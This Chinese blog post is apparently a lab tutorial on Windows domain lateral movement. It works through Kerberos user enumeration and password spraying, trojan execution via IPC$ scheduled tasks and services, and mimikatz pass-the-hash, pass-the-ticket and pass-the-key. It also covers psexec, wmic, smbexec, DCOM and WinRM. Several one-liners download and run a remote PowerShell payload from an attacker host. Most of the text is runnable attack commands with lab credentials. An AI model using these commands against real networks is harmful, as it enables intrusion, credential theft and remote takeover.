在蓝队的面试过程中,如果你会内网渗透的话,那是肯定的一个加分选项!!!
那么从今天开始,我们就来讲一下内网的横向移动!!!
目录
1.域内任意用户枚举
2.Password-Spraying密码喷洒攻击
3.IPC配合计划任务横向移动
3.IPC配合系统服务横向移动
5.PTH哈希传递攻击
1.CS的PTH配合psexec哈希传递
2.远程桌面配合mimikatz进行哈希传递
6.PTT票据传递攻击
7.PTK密钥传递攻击
8.Psexec横向移动
1.远控配合Psexec横向移动
2.CS自带Psexec横向移动
9.Wmic横向移动
1.powershell配合wmic横向移动
2.NTLM哈希配合vmiexec.exe横向移动
10.Smbexec横向移动
11.DCOM横向移动
12.WinRM横向移动
1.域内任意用户枚举
在域中,什么最重要???肯定是凭证,密码,hash这些。
进入域内,我们肯定都很喜欢直接net user /domain!! ???拒绝访问
前面说过,这种情况,一般都是存在域环境,但是不是本地管理员!!而且是以本地的普通的管理员或者用户登录的!!
这时候我们就要域内任意用户枚举!!!
这时候,就要再次回到我们的Kerberos协议了!! (域内不会Kerberos协议就将是寸步难行)
Kerberos 本身是一种基于身份认证的协议, 在 Kerberos 协议认证的 第一阶段AS-REQ ,当用户不存在 时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样。 所以可以利用 这点,对域内进行域用户枚举和密码喷洒攻击。在AS-REQ 阶段客户端向 AS 发送用户名, AS 对用户名进 行验证,用户存在和不存在返回的数据包不一样,所以,根据AS 的返回包来对域用户进行枚举。
kerbrute.exe userenum --dc 域控ip -d 域名 用户名字典.txt
2.Password-Spraying密码喷洒攻击
有了用户的名字,我们就可以进行域内密码的喷洒了
在确认用户存在后,客户端又会发送一个 AS-REQ 请求,如果密码正确,则返回 AS-REP 。否则返回KRB5KDC_ERP_PREAUTH_FAILED,在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题。
kerbrute.exe passwordspray -d 域名 用户字典 喷洒的密码
3.IPC配合计划任务横向移动
首先,我们得了解一下什么是IPC
IPC( Internet ProcessConnection) 共享 “ 命名管道 ” 的资源 , 是为了实现进程间通信而开放的命名管道。IPC 可以通过验证用户名和密码获得相应的权限 , 通常在远程管理计算机和查看计算机的共享资源时使用。通过 ipc$, 可以与目标机器建立连接。利用这个连接 , 不仅可以访问目标机器中的文件 , 进行上传、下载等操作, 还可以在目标机器上运行其他命令 , 以获取目标机器的目录结构、用户列 表等信息。
当然了,能利用IPC也有一定的条件
1.开启了139和445端口
2.管理员开启了默认共享
当然了,这两个都是默认开启的
那么下面,我们就来实战一下,先上个网络拓扑
先以普通用户给上个🐎,权限不够我们再去提权!!!!
当然了,想建立IPC,我们需要知道别人的密码!!!
那么再假设一下我们有了Winserver的密码,然后就开始IPC横向(直接访问肯定不行)
那么我们就去建立连接,这里建立连接的用户,最好是域管理员,否则的话是没用的
(liukaifeng01是一个域内用户)
那么我们就可以去查一下
shell net group "Domain Admins" /domain
很不幸,只有一个administrator,所以我们只有拿下它的hash或者密码才可以了
那么再假装我们拿到了,就去尝试建立一下IPC
net use \\192.168.52.110\ipc$ "hongrisec@2024" /user:administrator
这时候就能猥琐欲为了
这时候不还是随便看吗!!!
差点偏题,计划任务!!!对
先传个木马上去 其中free.exe 是一个木马
copy C:\Users\liukaifeng01.GOD\Desktop\free.exe \\192.168.52.110\C$
然后设置计划任务
schtasks /create /s IP地址 /tn 计划任务名 /sc onstart /tr c:\文件 /ru system /f
schtasks /create /s 192.168.52.110 /tn free /sc onstart /tr c:\free.exe /ru system /f
逆天了,拒绝访问!!!
那就只能先去提权了,可以使用cs自带的elevate提权(劫持UAC白名单程序)
但是你会发现,逆大天!!就算是提升到了SYSTEM还是***的拒绝访问,看来只有域管理员才有这个颁布计划任务的权限了!!(这就是为什么进入域内就要先去找域管理员的原因!!)
手动添加(无敌了)立刻就听话了
然后我们再去运行这个计划任务
schtasks /run /s IP地址 /i /tn "计划任务名"
schtasks /run /s 192.168.52.110 /i /tn "free"
运行即上线
当然了,因为这台机器是直接和公网通的
否则你就要用SMB的beacon去通过子父beacon上线,这里就要多一步link或者connect!!
3.IPC配合系统服务横向移动
除了计划任务,我们还可以配合服务进行横向移动~!~~!
那么建立连接什么的我就不说了,和上面一样
然后就是先把木马传上去
然后就是创建服务
sc \\192.168.52.110 create test binpath= "cmd.exe /c c:\free.exe"
开启服务
sc \\192.168.52.110 start test
启动即上线 ,但是还是那句话,这个服务的启动还是要域管(可以不过UAC)
5.PTH哈希传递攻击
PTH(Pass The Hash)这种攻击,走的不是Kerberos认证,而是走的NTLM网络认证
想要Hash传递,还得有一定的条件
哈希传递攻击的前提:有管理员的 NTLM Hash ,并且目标机器开放 445 端口。
在工作组环境中: Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。 Windows Vista 之后的机器, 只能是administrator用户的哈希值才能进行哈希传递攻击 ,其他用户 ( 包括管理员用 户但是非administrator) 也不能使用哈希传递攻击,会提示拒绝访问。
在域环境中: 只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈 传递攻击,攻击成功后,可以访问域内任何一台机器。
那么这样就好办了,我们只要拿到一个域管的账号就行(域管理员的哈希真的是很强大的在域中)!!!!先去上个🐎! 其中liukaifeng01就是一个域馆账户
其中liukaifeng01就是一个域管账户
然后我们一般都是直接通过mimikatz进行哈希传递的。那么下面,我们就来讲两种方式
1.CS的PTH配合psexec哈希传递
CS其实很强大的,我们可以直接用它来进行哈希传递!!
我们点击这个按钮就能看见目标(如果没有的话,你就去扫描一下)
于是我们打算去横向到WANLI也就是IP是52.110这个机器上面
选中这个psexec_64
然后填写上对应的信息
然后就能看见上线,还是以system去上线的!!
咳咳咳,脱离主题,我们没有明文密码忘了吗?? 不过还是可以哈希传递!!
然后还是能看到上线的,只不过我们这次上线的程序是rundll,不过上线的权限都是system
2.远程桌面配合mimikatz进行哈希传递
远程桌面是域内常用的一个方法(有了这个我们就可以直接无视UAC了!!)怎么远程桌面,我后面出一个专题来讲(希望不会鸽)
这里来解释一下为什么要远程桌面去打,因为你哈希传递的话,他成功之后不会通过CS给你返回一个shell,所以我们只能在本地去进行哈希传递。
先把mimikatz扔上去,或者你用cs自带的mimkatz也可以,然后就是下面的命令了
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator
/domain:192.168.52.110 /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0" "exit"
这个mimikatz如果是exe运行的话记得加上exit啊啊啊!!不然你的cs就直接卡死了
但是呢,我只能说,内网这种东西,真的是一个玄学!!!(按常理来说,这里应该是可以的!)
所以我想引用万里老师在内网课程里面的一句话
内网情况复杂多变,你这台机器传不成功,就换台机器,还是不行就换个域,或者换多几台虚拟机,反正内网横向这种东西不一定会成功!!
像上面的cs的办法,我试过域内的所有机会都是能成功地!!
就算不是用administrator,用的其他域馆来进行哈希传递也是可以地
所以,以后哈希传递的时候还是用CS的吧,或者如果不出网到的话,我们就上🐎!!
6.PTT票据传递攻击
PTT(Pass The Ticket)票据传递攻击!!
票据传递一般分为以下两种
1、自己制作票据2 、传递内存中的票据
shell C:\Users\liukaifeng01.god\desktop\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
然后我们现在是看不了别人的东西的
然后清除票据
klist purge
shell C:\Users\liukaifeng01.god\desktop\mimikatz.exe "privilege::debug" "kerberos::purge" "exit"
然后我们直接把administrator的TGT导入
shell C:\Users\liukaifeng01.god\desktop\mimikatz.exe "kerberos::ptt [0;173bf2]-0-0-40a40000-Administrator@LDAP-owa.god.org.kirbi" "exit"
于是就已经无敌了
但是我想说,有的时候直接访问ip,就像下面这样,是不行的!!!
shell dir \\192.168.52.110\c$
反正不行的时候,要么就用名字访问,要么就用ip访问
然后下面就是常见的上线力!!!可以看见我们建立IPC都可以不用密码了!!
然后就是计划任务或者服务啦,我这里用服务
然后就是创建服务
然后直接运行服务,运行即上线
这时候有人就会说了,你一开始是dir的ip,没dir的名字(是不是骗我???)
击碎质疑的最好办法就是直接用事实击碎质疑!!!! 先清票!!
然后再去看一下啊,事实就在眼前!!!
7.PTK密钥传递攻击
PTK(Pass The Key)密钥传递攻击!!
为什么我们要用这个呢? 那就不得不说一下KB2871997这个补丁了!
KB2871997 : 禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、 psexec、schtasks、at和访问文件共享。
pass the key是在域中攻击 kerberos 认证的一种方式, 原理是通过获取用户的aes,通过 kerberos 认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能。
mimikatz "sekurlsa::ekeys"
居然能抓到域馆的AESkey,那么就可以横向了!!!
还是先把所有的票清了
klist purge
mimikatz "kerberos::purge"
然后直接进行票据传递攻击!!!!
sekurlsa::pth /user:administrator /domain:god.org /aes256:0a4abb55243c543a332573cd0cff5e623c08f2073fbcf7fa1a967d8b86b00047
8.Psexec横向移动
在之前的PTH和PTT,以及翻车了的PTK,我们都不难发现,就算完成了认证之后,我们也还是要通过计划任务,或者通过服务来进行横向移动。
那有没有不用这么麻烦??直接一步到位???
那肯定有,这就是我们要讲的psexec!!
psexec 的使用不需要对方主机开方 3389 端口, 只需要对方开启admin$ 共享和 ipc$ ( 该共享默认开启,依赖于 445 端口 ) 。但是, 假如目标主机开启了防火墙(防火墙禁止445端口连接) , psexec 也是不能使用的,会提示找不到网络路径。
下面是它的命令!!!
1.远控配合Psexec横向移动
假如我们现在远程上去了,然后我们知道了管理员的明文密码!!
那么我们先把psexec传上去。
然后直接去cs运行!!
psexec \\192.168.52.111 -u administrator -p hongrisec@2024 cmd
但是你就会发现一堆报错
其实是因为他没有加上这个参数 -accepteula 加上就不会报错了
psexec -accepteula \\192.168.52.111 -u administrator -p hongrisec@2024 cmd
?????不是怎么不行啊???
哦哦哦,还没建立连接呢,hhhhhh
shell net use \\192.168.52.111\c$ "hongirsec@2024" /user:GOD\administrator
2.CS自带Psexec横向移动
看了上面的办法这么麻烦,有没有一些简单的,不用远控的???
当然了,Psexec是CS是自带的,我们在pth的时候不就是配合了它来横向的!!!
但是what can i say呢???? CS的psexec使用需要你的beacon是管理员的!!!!
PTH,PTT是不需要当前账号为管理员的(不过你不是管理员也抓不到密码和票据),否则你就会收到这样的报错!!
那么假设我们提权到了system的权限(无中生有) (我还不信我提不上来了)
这还不给我拿下你整个域?(hhh肯定不是)
9.Wmic横向移动
WMI 是 Windows 在 Powershell 还未发布前,微软用来管理 Windows 系统的重要数据库工具, WMI 本身的组织架构是一个数据库架构,WMI 服务使用 DCOM 或 WinRM 协议。在使用 wmiexec 进行横向移动时, windows 操作系统默认不会将 WMI 的操作记录在日志中 。因此很多 APT 开始使用 WMI 进行攻击。WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具) ,提供了从命令行 接口和批处理脚本执行系统管理的支持。
cs没有集成vmic,而且,vmic执行命令是没有回显的,所以,我们一般采用powershell无文件落地
前提,我们要用本地或者域管理员的账号密码!! 但是在内网中的powershell无文件有点难,如果实在条件苛刻,我们可以做隧道!!!
1.powershell配合wmic横向移动
一句命令就直接上线(可以看出powershell无文件落地的强大)
wmic /NODE:192.168.52.111 /user:god\administrator /password:hongrisec@2024 PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.246.170:9191/powershell.ps1'))\""
这个呢,不一定会成功,有可能别人开了防火墙,或者做了一些策略
但是也不一定不成功,反正多去试试就是
2.NTLM哈希配合vmiexec.exe横向移动
这时候就有人会说了,不是哥么,我没明文啊,那也没关系。我们用工具!!
先把工具传上去!!!!
然后还是配合powershell无文件落地,但是呢,又要翻车了。。。。。。
还是那句话,这个工具用不了就换别的。
10.Smbexec横向移动
SMB 全称是 Server Message Block 翻译过来是服务器信息块,它也是一种客户端到服务器的通信协 议。除此之外,SMB 协议也被称为请求 - 回复协议。 客户端与服务器建立连接后 , 客户端可以向服务器发 送SMB 命令允许用户访问共享、打开、读取或者是写入文件。
smbexec.exe 用户名:密码@IP
smbexec.exe -hashes LM:NTLM 用户名:IP
有些机器还是不行
但是有的机器就可以
包括哈希也是可以的
这时候有人就要问了,我拿到这样的shell有啥用???? 牛魔,直接无文件落地啊!
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://你公网的ip:公网的端口/powershell.ps1'))"
11.DCOM横向移动
对于DCOM,横向移动是有条件的(防火墙那里,有的机器就算开了防火墙也可以)(多试!)
命令如下
dcomexec.exe administrator:hongrisec@2024@192.168.52.143 //直接开一个cmd窗口
dcomexec.exe administrator:hongrisec@2024@192.168.52.111 cmd.exe /c "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.246.52:9191/powershell.ps1'))" //无文件
但是这个DCOM也是有的机器能成,有的不行
12.WinRM横向移动
巴拉巴拉一大堆,我们只要记住,如果能扫到别人5985端口开放(高版本的server)就可以试试
这个终于CS自带了,不用传上去了!!
但是我想说就算人家开了这个端口,也不一定能给你扫出来(nmap和fscan不行)
但是发现出息了我的CS(直接给我扫出来了)
至此,内网的横向移动就差不多了(当然还有一些漏洞的像什么MS17-010 ,MS08-067除外)
当然了横向移动并不等于域内攻击,还有一些攻击还没讲到,像什么Kerberoasting那些
::后面补上
那么下星期就开内网的隧道啦(虽然以前讲过,但是感觉有点散乱,于是打算重新梳理一下)